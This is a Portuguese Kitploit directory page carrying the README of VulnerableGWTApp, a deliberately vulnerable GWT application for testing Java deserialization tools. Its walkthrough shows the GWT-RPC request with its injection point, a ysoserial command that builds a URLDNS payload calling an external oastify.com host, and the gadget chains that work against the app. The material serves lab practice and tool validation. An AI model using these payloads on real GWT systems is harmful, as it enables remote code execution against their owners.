Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
VulnerableGWTApp — Uma aplicação web baseada em GWT intencionalmente vulnerável para testar ferramentas e técnicas | Kitploit
Ferramentas/GitHubGitHub/bishopfox/vulnerablegwtapp
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubbishopfox/vulnerablegwtapp

VulnerableGWTApp

Uma aplicação web baseada em GWT intencionalmente vulnerável para testar ferramentas e técnicas

Ver Repositório
52há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Aplicativo Web GWT Vulnerável

Esta é uma versão do aplicativo de exemplo StockWatcher descrito no guia de introdução ao GWT que foi modificada para usar o recurso de "enhanced classes" do GWT, tornando-a vulnerável a um ataque de desserialização Java. Ela deve ser usada somente para testar ferramentas de detecção e exploração. Enhanced classes são comumente usadas em aplicativos reais baseados em GWT, mas, até a publicação deste exemplo, não havia aplicativos web de código aberto fáceis de localizar que profissionais de segurança pudessem usar para validar suas ferramentas e procedimentos.

A exploração de aplicativos baseados em GWT é discutida no post do blog da Bishop Fox "GWT: An Eight-Year-Old Unpatched Java Deserialization Vulnerability".

Executando o aplicativo web

Para executar o aplicativo web, você precisará de um sistema Linux com as seguintes ferramentas:

  • A versão completa do JRE OpenJDK 11, não a versão headless — por exemplo, em distribuições baseadas em Debian, instale o pacote openjdk-11-jre
  • ant (instale usando o gerenciador de pacotes da sua distribuição)
  • Versão 2.10.0 do GWT SDK

Início rápido

O aplicativo requer vários arquivos JAR grandes demais para serem incluídos diretamente no controle de origem do GitHub, portanto, a maneira mais fácil de começar é baixar o pacote mais recente da página de lançamentos e descompactá-lo.

Depois de descompactar o lançamento, edite esta linha no build.xml para substituir /home/user/GWT/gwt-2.10.0 pelo diretório do seu GWT SDK:

No diretório do código-fonte, execute os seguintes comandos:

root@kitploit:~
ant build
ant devmode

Isso iniciará o aplicativo web vulnerável e o tornará acessível em http://127.0.0.1:8888/StockWatcher.html.

Observe que, se você estiver encaminhando tráfego para o serviço local para torná-lo acessível remotamente, também deverá encaminhar a porta 9876 além da porta 8888.

Executando diretamente a partir do código neste repositório

Se você quiser clonar este repositório e executar o aplicativo sem baixar um lançamento, precisará baixar e adicionar os seguintes arquivos JAR de terceiros ao diretório lib após cloná-lo:

  • aspectjweaver-1.9.2.jar
  • commons-collections-3.2.2.jar
  • javax.persistence.jar
  • jboss-as-connector-7.1.3.final.jar
  • jdo-api-3.2.1.jar
  • jpa-annotations-source.jar
  • junit-vintage-engine-5.10.0.jar
  • jython-standalone-2.7.3.jar

Você também precisará copiar os seguintes arquivos JAR do GWT do seu diretório GWT (por exemplo, gwt-2.10.0/) para o diretório lib deste aplicativo vulnerável:

  • gwt-dev.jar
  • gwt-servlet.jar
  • gwt-user.jar
  • validation-api-1.0.0.GA.jar
  • validation-api-1.0.0.GA-sources.jar

Depois de copiar todos esses arquivos JAR, execute as demais etapas da seção de início rápido, acima.

Explorando o aplicativo web

Usando um navegador web configurado para se conectar por meio de um proxy de interceptação (como o Burp Suite), carregue a URL http://127.0.0.1:8888/StockWatcher.html.

A página exibirá inicialmente uma mensagem de "compiling". Aguarde até que ela exiba este formulário básico:

[ O aplicativo web StockWatcher exibindo um campo para adicionar um símbolo de ação ]

Digite uma string curta no campo, como BFOX, e clique no botão Add. A página deve começar a exibir atualizações aleatórias para o símbolo de ação simulado:

[ O aplicativo web StockWatcher exibindo dados de preço simulados para o símbolo BFOX ]

No histórico do seu proxy de interceptação, observe que seu navegador agora está enviando repetidamente solicitações POST para http://127.0.0.1:8888/stockwatcher/checkCustomClass1, semelhantes ao seguinte:

root@kitploit:~
POST /stockwatcher/checkCustomClass1 HTTP/1.1
Host: 127.0.0.1:8888
...omitted for brevity...

7|0|10|http://127.0.0.1:8888/stockwatcher/|259823D3B8B1029302496D0C7E009509|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/1972642674|rO0ABXcEAAAAAA==|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|java.sql.Date/730999118|string1 value: 12345|string2 value: 98765|1|2|3|4|1|5|5|6|7|6|0|0|8|P___i17vzAA|0|9|10|

Os dados binários codificados em Base64 rO0ABXcEAAAAAA== são um ponto de injeção vulnerável na solicitação. Para explorar o aplicativo web, você precisará gerar um payload de substituição. Por exemplo, para gerar um payload URLDNS usando a versão personalizada do ysoserial da Bishop Fox, você poderia executar o seguinte comando:

root@kitploit:~
$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
  --gwt bishopfox \
  URLDNS "https://dvc5ng8w4odw47m0a8qk45hdv41vpndc.oastify.com/URLDNS" \
  | base64 -w0 | sed 's/+/\$/g' | sed 's./._.g' > gwt_urldns.bin.gwt_b64

Envie uma versão modificada da solicitação que substitua rO0ABXcEAAAAAA== pelo payload gerado, e o aplicativo vulnerável deverá desserializá-lo e acioná-lo. Além da ação que o payload causar, a resposta também deve incluir uma NoSuchFieldException relacionada ao nome do campo se o valor for desserializado, por exemplo, usando o nome bishopfox do exemplo acima:

root@kitploit:~
HTTP/1.1 200 OK
Connection: close
...omitted for brevity...

//EX[2,1,["com.google.gwt.user.client.rpc.IncompatibleRemoteServiceException/3936916533","java.lang.NoSuchFieldException: bishopfox"],0,7]

Se você usou o lançamento pré-compilado do aplicativo web vulnerável, ou adicionou manualmente todos os JARs mencionados acima a uma compilação personalizada, você deve (no mínimo) conseguir usar os seguintes payloads contra o aplicativo web:

  • AspectJWeaver
  • Jython2
  • Jython3

No momento em que este texto foi escrito, a versão principal do ysoserial não oferecia suporte a saída formatada para GWT, portanto, certifique-se de usar o fork personalizado.

Baixar ferramenta